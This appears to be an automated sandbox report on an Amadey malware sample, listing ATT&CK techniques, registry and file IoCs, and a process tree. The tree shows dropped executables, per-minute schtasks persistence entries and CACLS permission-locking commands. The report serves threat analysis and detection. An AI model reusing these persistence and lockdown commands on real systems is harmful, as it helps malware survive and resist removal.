amadey | c3596938478ccf615dc1ae8422ffabf14b989277fb6926c328969c38710efbd6

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	winlog.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	winlog.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	winlog.exe

Downloads MZ/PE file

Drops file in Drivers directory 2 IoCs

description	ioc	Process
File created	C:\Windows\System32\drivers\etc\hosts	msedge.exe
File created	C:\Windows\System32\drivers\etc\hosts	msedge.exe

Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Checks BIOS information in registry 2 TTPs 6 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	winlog.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	winlog.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	winlog.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	winlog.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	winlog.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	winlog.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3618012334-189558363-1282585034-1000\Control Panel\International\Geo\Nation	Meduza.exe

Executes dropped EXE 29 IoCs

pid	Process
3748	legosa.exe
968	10c7b9izmah9.exe
4400	pf3bv0f2aw4mj.exe
4528	useyyoou_crypted.exe
4864	crypted158.exe
5008	rockas.exe
1420	oneetx.exe
2144	rockas.exe
2272	Amadey.exe
4448	yiueea.exe
380	Meduza.exe
328	ss41.exe
3360	taskhost.exe
1204	winlog.exe
4860	msedge.exe
3708	toolspub2.exe
4484	taskhost.exe
2700	winlog.exe
3544	msedge.exe
1156	31839b57a4f11171d6abc8bbc4451ee4.exe
2740	taskhost.exe
2332	winlog.exe
364	msedge.exe
1216	taskhost.exe
3372	taskhost.exe
3480	taskhost.exe
840	sc.exe
940	yiueea.exe
1160	oneetx.exe

Loads dropped DLL 4 IoCs

pid	Process
720	rundll32.exe
5436	rundll32.exe
5368	rundll32.exe
5508	rundll32.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

Accesses Microsoft Outlook profiles 1 TTPs 5 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3618012334-189558363-1282585034-1000\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Meduza.exe
Key opened	\REGISTRY\USER\S-1-5-21-3618012334-189558363-1282585034-1000\SOFTWARE\Microsoft\Office\12.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Meduza.exe
Key opened	\REGISTRY\USER\S-1-5-21-3618012334-189558363-1282585034-1000\SOFTWARE\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Meduza.exe
Key opened	\REGISTRY\USER\S-1-5-21-3618012334-189558363-1282585034-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Meduza.exe
Key opened	\REGISTRY\USER\S-1-5-21-3618012334-189558363-1282585034-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Meduza.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 3 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	winlog.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	winlog.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	winlog.exe

Looks up external IP address via web service 4 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
34	api.ipify.org
36	api.ipify.org
115	ipinfo.io
116	ipinfo.io

Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs

pid	Process
1204	winlog.exe
2700	winlog.exe
2332	winlog.exe

Suspicious use of SetThreadContext 7 IoCs

description	pid	Process	procid_target
PID 968 set thread context of 2976	968	10c7b9izmah9.exe	82
PID 4400 set thread context of 4676	4400	pf3bv0f2aw4mj.exe	84
PID 4528 set thread context of 5088	4528	useyyoou_crypted.exe	88
PID 4864 set thread context of 2988	4864	crypted158.exe	89
PID 3360 set thread context of 1216	3360	taskhost.exe	124
PID 4484 set thread context of 3372	4484	taskhost.exe	130
PID 2740 set thread context of 3480	2740	taskhost.exe	133

Launches sc.exe 20 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5800	sc.exe
5080	sc.exe
6128	sc.exe
5992	sc.exe
4676	sc.exe
5092	sc.exe
5700	sc.exe
5200	sc.exe
5412	sc.exe
5668	sc.exe
6004	sc.exe
5536	sc.exe
5364	sc.exe
1292	sc.exe
1284	sc.exe
4100	sc.exe
5212	sc.exe
840	sc.exe
4476	sc.exe
3216	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 2 IoCs

pid	pid_target	Process	procid_target
3348	4864	WerFault.exe	86
5680	5508	WerFault.exe	144

Creates scheduled task(s) 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
4356	schtasks.exe
1368	schtasks.exe
3416	schtasks.exe

Enumerates processes with tasklist 1 TTPs 1 IoCs

Process Discovery

T1057

pid	Process
4724	tasklist.exe

GoLang User-Agent 1 IoCs

Uses default user-agent string defined by GoLang HTTP packages.

description	flow	ioc
HTTP User-Agent header	112	Go-http-client/1.1

Suspicious behavior: EnumeratesProcesses 57 IoCs

pid	Process
2976	vbc.exe
2976	vbc.exe
4676	sc.exe
4676	sc.exe
4860	msedge.exe
4860	msedge.exe
4676	sc.exe
3544	msedge.exe
3544	msedge.exe
364	msedge.exe
364	msedge.exe
4860	msedge.exe
4860	msedge.exe
1216	taskhost.exe
1216	taskhost.exe
1108	powershell.exe
1108	powershell.exe
3544	msedge.exe
3544	msedge.exe
1108	powershell.exe
3656	powershell.exe
3656	powershell.exe
1108	powershell.exe
3372	taskhost.exe
3372	taskhost.exe
3656	powershell.exe
364	msedge.exe
364	msedge.exe
5088	vbc.exe
5088	vbc.exe
3656	powershell.exe
5968	powershell.exe
5968	powershell.exe
3480	taskhost.exe
3480	taskhost.exe
5968	powershell.exe
5968	powershell.exe
4860	msedge.exe
4860	msedge.exe
2976	vbc.exe
2976	vbc.exe
3544	msedge.exe
3544	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
5144	powershell.exe
5144	powershell.exe
5144	powershell.exe
3544	msedge.exe
3544	msedge.exe
3544	msedge.exe
3544	msedge.exe
5144	powershell.exe
5420	powershell.exe
5420	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2976	vbc.exe
Token: SeDebugPrivilege	3360	taskhost.exe
Token: SeDebugPrivilege	4676	sc.exe
Token: SeDebugPrivilege	4484	taskhost.exe
Token: SeDebugPrivilege	2740	taskhost.exe
Token: SeDebugPrivilege	1216	taskhost.exe
Token: SeDebugPrivilege	1108	powershell.exe
Token: SeDebugPrivilege	3656	powershell.exe
Token: SeDebugPrivilege	3372	taskhost.exe
Token: SeDebugPrivilege	5088	vbc.exe
Token: SeDebugPrivilege	5968	powershell.exe
Token: SeDebugPrivilege	3480	taskhost.exe
Token: SeIncreaseQuotaPrivilege	1108	powershell.exe
Token: SeSecurityPrivilege	1108	powershell.exe
Token: SeTakeOwnershipPrivilege	1108	powershell.exe
Token: SeLoadDriverPrivilege	1108	powershell.exe
Token: SeSystemProfilePrivilege	1108	powershell.exe
Token: SeSystemtimePrivilege	1108	powershell.exe
Token: SeProfSingleProcessPrivilege	1108	powershell.exe
Token: SeIncBasePriorityPrivilege	1108	powershell.exe
Token: SeCreatePagefilePrivilege	1108	powershell.exe
Token: SeBackupPrivilege	1108	powershell.exe
Token: SeRestorePrivilege	1108	powershell.exe
Token: SeShutdownPrivilege	1108	powershell.exe
Token: SeDebugPrivilege	1108	powershell.exe
Token: SeSystemEnvironmentPrivilege	1108	powershell.exe
Token: SeRemoteShutdownPrivilege	1108	powershell.exe
Token: SeUndockPrivilege	1108	powershell.exe
Token: SeManageVolumePrivilege	1108	powershell.exe
Token: 33	1108	powershell.exe
Token: 34	1108	powershell.exe
Token: 35	1108	powershell.exe
Token: 36	1108	powershell.exe
Token: SeIncreaseQuotaPrivilege	3656	powershell.exe
Token: SeSecurityPrivilege	3656	powershell.exe
Token: SeTakeOwnershipPrivilege	3656	powershell.exe
Token: SeLoadDriverPrivilege	3656	powershell.exe
Token: SeSystemProfilePrivilege	3656	powershell.exe
Token: SeSystemtimePrivilege	3656	powershell.exe
Token: SeProfSingleProcessPrivilege	3656	powershell.exe
Token: SeIncBasePriorityPrivilege	3656	powershell.exe
Token: SeCreatePagefilePrivilege	3656	powershell.exe
Token: SeBackupPrivilege	3656	powershell.exe
Token: SeRestorePrivilege	3656	powershell.exe
Token: SeShutdownPrivilege	3656	powershell.exe
Token: SeDebugPrivilege	3656	powershell.exe
Token: SeSystemEnvironmentPrivilege	3656	powershell.exe
Token: SeRemoteShutdownPrivilege	3656	powershell.exe
Token: SeUndockPrivilege	3656	powershell.exe
Token: SeManageVolumePrivilege	3656	powershell.exe
Token: 33	3656	powershell.exe
Token: 34	3656	powershell.exe
Token: 35	3656	powershell.exe
Token: 36	3656	powershell.exe
Token: SeIncreaseQuotaPrivilege	5968	powershell.exe
Token: SeSecurityPrivilege	5968	powershell.exe
Token: SeTakeOwnershipPrivilege	5968	powershell.exe
Token: SeLoadDriverPrivilege	5968	powershell.exe
Token: SeSystemProfilePrivilege	5968	powershell.exe
Token: SeSystemtimePrivilege	5968	powershell.exe
Token: SeProfSingleProcessPrivilege	5968	powershell.exe
Token: SeIncBasePriorityPrivilege	5968	powershell.exe
Token: SeCreatePagefilePrivilege	5968	powershell.exe
Token: SeBackupPrivilege	5968	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4692 wrote to memory of 3748	4692	t5655565.exe	70
PID 4692 wrote to memory of 3748	4692	t5655565.exe	70
PID 4692 wrote to memory of 3748	4692	t5655565.exe	70
PID 3748 wrote to memory of 4356	3748	legosa.exe	71
PID 3748 wrote to memory of 4356	3748	legosa.exe	71
PID 3748 wrote to memory of 4356	3748	legosa.exe	71
PID 3748 wrote to memory of 3476	3748	legosa.exe	72
PID 3748 wrote to memory of 3476	3748	legosa.exe	72
PID 3748 wrote to memory of 3476	3748	legosa.exe	72
PID 3476 wrote to memory of 1204	3476	cmd.exe	75
PID 3476 wrote to memory of 1204	3476	cmd.exe	75
PID 3476 wrote to memory of 1204	3476	cmd.exe	75
PID 3476 wrote to memory of 936	3476	cmd.exe	76
PID 3476 wrote to memory of 936	3476	cmd.exe	76
PID 3476 wrote to memory of 936	3476	cmd.exe	76
PID 3476 wrote to memory of 2556	3476	cmd.exe	77
PID 3476 wrote to memory of 2556	3476	cmd.exe	77
PID 3476 wrote to memory of 2556	3476	cmd.exe	77
PID 3476 wrote to memory of 428	3476	cmd.exe	79
PID 3476 wrote to memory of 428	3476	cmd.exe	79
PID 3476 wrote to memory of 428	3476	cmd.exe	79
PID 3476 wrote to memory of 208	3476	cmd.exe	78
PID 3476 wrote to memory of 208	3476	cmd.exe	78
PID 3476 wrote to memory of 208	3476	cmd.exe	78
PID 3476 wrote to memory of 5040	3476	cmd.exe	80
PID 3476 wrote to memory of 5040	3476	cmd.exe	80
PID 3476 wrote to memory of 5040	3476	cmd.exe	80
PID 3748 wrote to memory of 968	3748	legosa.exe	81
PID 3748 wrote to memory of 968	3748	legosa.exe	81
PID 3748 wrote to memory of 968	3748	legosa.exe	81
PID 968 wrote to memory of 2976	968	10c7b9izmah9.exe	82
PID 968 wrote to memory of 2976	968	10c7b9izmah9.exe	82
PID 968 wrote to memory of 2976	968	10c7b9izmah9.exe	82
PID 968 wrote to memory of 2976	968	10c7b9izmah9.exe	82
PID 968 wrote to memory of 2976	968	10c7b9izmah9.exe	82
PID 3748 wrote to memory of 4400	3748	legosa.exe	83
PID 3748 wrote to memory of 4400	3748	legosa.exe	83
PID 3748 wrote to memory of 4400	3748	legosa.exe	83
PID 4400 wrote to memory of 4676	4400	pf3bv0f2aw4mj.exe	84
PID 4400 wrote to memory of 4676	4400	pf3bv0f2aw4mj.exe	84
PID 4400 wrote to memory of 4676	4400	pf3bv0f2aw4mj.exe	84
PID 4400 wrote to memory of 4676	4400	pf3bv0f2aw4mj.exe	84
PID 4400 wrote to memory of 4676	4400	pf3bv0f2aw4mj.exe	84
PID 3748 wrote to memory of 4528	3748	legosa.exe	85
PID 3748 wrote to memory of 4528	3748	legosa.exe	85
PID 3748 wrote to memory of 4528	3748	legosa.exe	85
PID 3748 wrote to memory of 4864	3748	legosa.exe	86
PID 3748 wrote to memory of 4864	3748	legosa.exe	86
PID 3748 wrote to memory of 4864	3748	legosa.exe	86
PID 4528 wrote to memory of 5088	4528	useyyoou_crypted.exe	88
PID 4528 wrote to memory of 5088	4528	useyyoou_crypted.exe	88
PID 4528 wrote to memory of 5088	4528	useyyoou_crypted.exe	88
PID 4528 wrote to memory of 5088	4528	useyyoou_crypted.exe	88
PID 4528 wrote to memory of 5088	4528	useyyoou_crypted.exe	88
PID 4864 wrote to memory of 2988	4864	crypted158.exe	89
PID 4864 wrote to memory of 2988	4864	crypted158.exe	89
PID 4864 wrote to memory of 2988	4864	crypted158.exe	89
PID 4864 wrote to memory of 2988	4864	crypted158.exe	89
PID 4864 wrote to memory of 2988	4864	crypted158.exe	89
PID 4864 wrote to memory of 2988	4864	crypted158.exe	89
PID 4864 wrote to memory of 2988	4864	crypted158.exe	89
PID 4864 wrote to memory of 2988	4864	crypted158.exe	89
PID 4864 wrote to memory of 2988	4864	crypted158.exe	89
PID 3748 wrote to memory of 5008	3748	legosa.exe	93

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3618012334-189558363-1282585034-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Meduza.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3618012334-189558363-1282585034-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Meduza.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3184
- C:\Users\Admin\AppData\Local\Temp\t5655565.exe
  "C:\Users\Admin\AppData\Local\Temp\t5655565.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4692
- - C:\Users\Admin\AppData\Local\Temp\ebb444342c\legosa.exe
    "C:\Users\Admin\AppData\Local\Temp\ebb444342c\legosa.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:3748
  - - C:\Windows\SysWOW64\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN legosa.exe /TR "C:\Users\Admin\AppData\Local\Temp\ebb444342c\legosa.exe" /F
      4⤵
      Creates scheduled task(s)
      PID:4356
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "legosa.exe" /P "Admin:N"&&CACLS "legosa.exe" /P "Admin:R" /E&&echo Y|CACLS "..\ebb444342c" /P "Admin:N"&&CACLS "..\ebb444342c" /P "Admin:R" /E&&Exit
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3476
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        5⤵
        
        PID:1204
    - - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "legosa.exe" /P "Admin:N"
        5⤵
        
        PID:936
    - - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "legosa.exe" /P "Admin:R" /E
        5⤵
        
        PID:2556
    - - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\ebb444342c" /P "Admin:N"
        5⤵
        
        PID:208
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        5⤵
        
        PID:428
    - - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\ebb444342c" /P "Admin:R" /E
        5⤵
        
        PID:5040
  - - C:\Users\Admin\AppData\Local\Temp\1000139001\10c7b9izmah9.exe
      "C:\Users\Admin\AppData\Local\Temp\1000139001\10c7b9izmah9.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      Suspicious use of WriteProcessMemory
      PID:968
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2976
  - - C:\Users\Admin\AppData\Local\Temp\1000146001\pf3bv0f2aw4mj.exe
      "C:\Users\Admin\AppData\Local\Temp\1000146001\pf3bv0f2aw4mj.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      Suspicious use of WriteProcessMemory
      PID:4400
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
        5⤵
        
        PID:4676
  - - C:\Users\Admin\AppData\Local\Temp\1000147001\useyyoou_crypted.exe
      "C:\Users\Admin\AppData\Local\Temp\1000147001\useyyoou_crypted.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      Suspicious use of WriteProcessMemory
      PID:4528
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5088
  - - C:\Users\Admin\AppData\Local\Temp\1000155001\crypted158.exe
      "C:\Users\Admin\AppData\Local\Temp\1000155001\crypted158.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      Suspicious use of WriteProcessMemory
      PID:4864
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
        5⤵
        
        PID:2988
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4864 -s 292
        5⤵
        Program crash
        
        PID:3348
  - - C:\Users\Admin\AppData\Local\Temp\1000159001\rockas.exe
      "C:\Users\Admin\AppData\Local\Temp\1000159001\rockas.exe"
      4⤵
      Executes dropped EXE
      PID:5008
    - - C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe
        
        "C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe"
        5⤵
        Executes dropped EXE
        
        PID:1420
      - C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe" /F
        6⤵
        Creates scheduled task(s)
        
        PID:1368
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "oneetx.exe" /P "Admin:N"&&CACLS "oneetx.exe" /P "Admin:R" /E&&echo Y|CACLS "..\207aa4515d" /P "Admin:N"&&CACLS "..\207aa4515d" /P "Admin:R" /E&&Exit
        6⤵
        
        PID:3172
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        7⤵
        
        PID:3220
        
        C:\Windows\SysWOW64\cacls.exe
        
        CACLS "oneetx.exe" /P "Admin:N"
        7⤵
        
        PID:3476
        
        C:\Windows\SysWOW64\cacls.exe
        
        CACLS "oneetx.exe" /P "Admin:R" /E
        7⤵
        
        PID:3176
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        7⤵
        
        PID:3032
        
        C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\207aa4515d" /P "Admin:N"
        7⤵
        
        PID:4744
        
        C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\207aa4515d" /P "Admin:R" /E
        7⤵
        
        PID:4140
      - C:\Users\Admin\AppData\Local\Temp\1000438001\ss41.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000438001\ss41.exe"
        6⤵
        Executes dropped EXE
        
        PID:328
      - C:\Users\Admin\AppData\Local\Temp\1000397001\taskhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000397001\taskhost.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of AdjustPrivilegeToken
        
        PID:3360
        
        C:\Users\Admin\AppData\Local\Temp\1000397001\taskhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000397001\taskhost.exe"
        7⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1216
        
        C:\Users\Admin\AppData\Local\Temp\winlog.exe
        
        "C:\Users\Admin\AppData\Local\Temp\winlog.exe"
        8⤵
        
        PID:4392
        
        C:\Users\Admin\AppData\Local\Temp\is-B1NOS.tmp\winlog.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-B1NOS.tmp\winlog.tmp" /SL5="$C01F8,25895378,832512,C:\Users\Admin\AppData\Local\Temp\winlog.exe"
        9⤵
        
        PID:216
        
        C:\Users\Admin\AppData\Local\Temp\winlog.exe
        
        "C:\Users\Admin\AppData\Local\Temp\winlog.exe" /SILENT
        10⤵
        
        PID:3592
        
        C:\Users\Admin\AppData\Local\Temp\is-MSSD1.tmp\winlog.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-MSSD1.tmp\winlog.tmp" /SL5="$D01F8,25895378,832512,C:\Users\Admin\AppData\Local\Temp\winlog.exe" /SILENT
        11⤵
        
        PID:5824
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Public\Document\python.exe C:\Users\Public\Document\dsc.py"
        12⤵
        
        PID:6788
        
        C:\Users\Public\Document\python.exe
        
        C:\Users\Public\Document\python.exe C:\Users\Public\Document\dsc.py
        13⤵
        
        PID:1388
      - C:\Users\Admin\AppData\Local\Temp\1000398001\winlog.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000398001\winlog.exe"
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:1204
      - C:\Users\Admin\AppData\Local\Temp\1000399001\msedge.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000399001\msedge.exe"
        6⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Drops file in Drivers directory
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:4860
      - C:\Users\Admin\AppData\Local\Temp\1000439001\toolspub2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000439001\toolspub2.exe"
        6⤵
        Executes dropped EXE
        
        PID:3708
        
        C:\Users\Admin\AppData\Local\Temp\1000439001\toolspub2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000439001\toolspub2.exe"
        7⤵
        
        PID:5924
      - C:\Users\Admin\AppData\Local\Temp\1000397001\taskhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000397001\taskhost.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of AdjustPrivilegeToken
        
        PID:4484
        
        C:\Users\Admin\AppData\Local\Temp\1000397001\taskhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000397001\taskhost.exe"
        7⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3372
      - C:\Users\Admin\AppData\Local\Temp\1000398001\winlog.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000398001\winlog.exe"
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:2700
      - C:\Users\Admin\AppData\Local\Temp\1000399001\msedge.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000399001\msedge.exe"
        6⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Drops file in Drivers directory
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:3544
      - C:\Users\Admin\AppData\Local\Temp\1000440001\31839b57a4f11171d6abc8bbc4451ee4.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000440001\31839b57a4f11171d6abc8bbc4451ee4.exe"
        6⤵
        Executes dropped EXE
        
        PID:1156
      - C:\Users\Admin\AppData\Local\Temp\1000397001\taskhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000397001\taskhost.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of AdjustPrivilegeToken
        
        PID:2740
        
        C:\Users\Admin\AppData\Local\Temp\1000397001\taskhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000397001\taskhost.exe"
        7⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3480
      - C:\Users\Admin\AppData\Local\Temp\1000398001\winlog.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000398001\winlog.exe"
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:2332
        
        C:\Users\Admin\AppData\Roaming\NTSystem\ntlhost.exe
        
        C:\Users\Admin\AppData\Roaming\NTSystem\ntlhost.exe
        7⤵
        
        PID:3320
      - C:\Users\Admin\AppData\Local\Temp\1000399001\msedge.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000399001\msedge.exe"
        6⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:364
  - - C:\Users\Admin\AppData\Local\Temp\1000167001\rockas.exe
      "C:\Users\Admin\AppData\Local\Temp\1000167001\rockas.exe"
      4⤵
      Executes dropped EXE
      PID:2144
  - - C:\Users\Admin\AppData\Local\Temp\1000172001\Amadey.exe
      "C:\Users\Admin\AppData\Local\Temp\1000172001\Amadey.exe"
      4⤵
      Executes dropped EXE
      PID:2272
    - - C:\Users\Admin\AppData\Local\Temp\e8bff37b77\yiueea.exe
        
        "C:\Users\Admin\AppData\Local\Temp\e8bff37b77\yiueea.exe"
        5⤵
        Executes dropped EXE
        
        PID:4448
      - C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN yiueea.exe /TR "C:\Users\Admin\AppData\Local\Temp\e8bff37b77\yiueea.exe" /F
        6⤵
        Creates scheduled task(s)
        
        PID:3416
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "yiueea.exe" /P "Admin:N"&&CACLS "yiueea.exe" /P "Admin:R" /E&&echo Y|CACLS "..\e8bff37b77" /P "Admin:N"&&CACLS "..\e8bff37b77" /P "Admin:R" /E&&Exit
        6⤵
        
        PID:5100
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        7⤵
        
        PID:3472
        
        C:\Windows\SysWOW64\cacls.exe
        
        CACLS "yiueea.exe" /P "Admin:N"
        7⤵
        
        PID:3484
        
        C:\Windows\SysWOW64\cacls.exe
        
        CACLS "yiueea.exe" /P "Admin:R" /E
        7⤵
        
        PID:5096
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        7⤵
        
        PID:4356
        
        C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\e8bff37b77" /P "Admin:N"
        7⤵
        
        PID:3948
        
        C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\e8bff37b77" /P "Admin:R" /E
        7⤵
        
        PID:2584
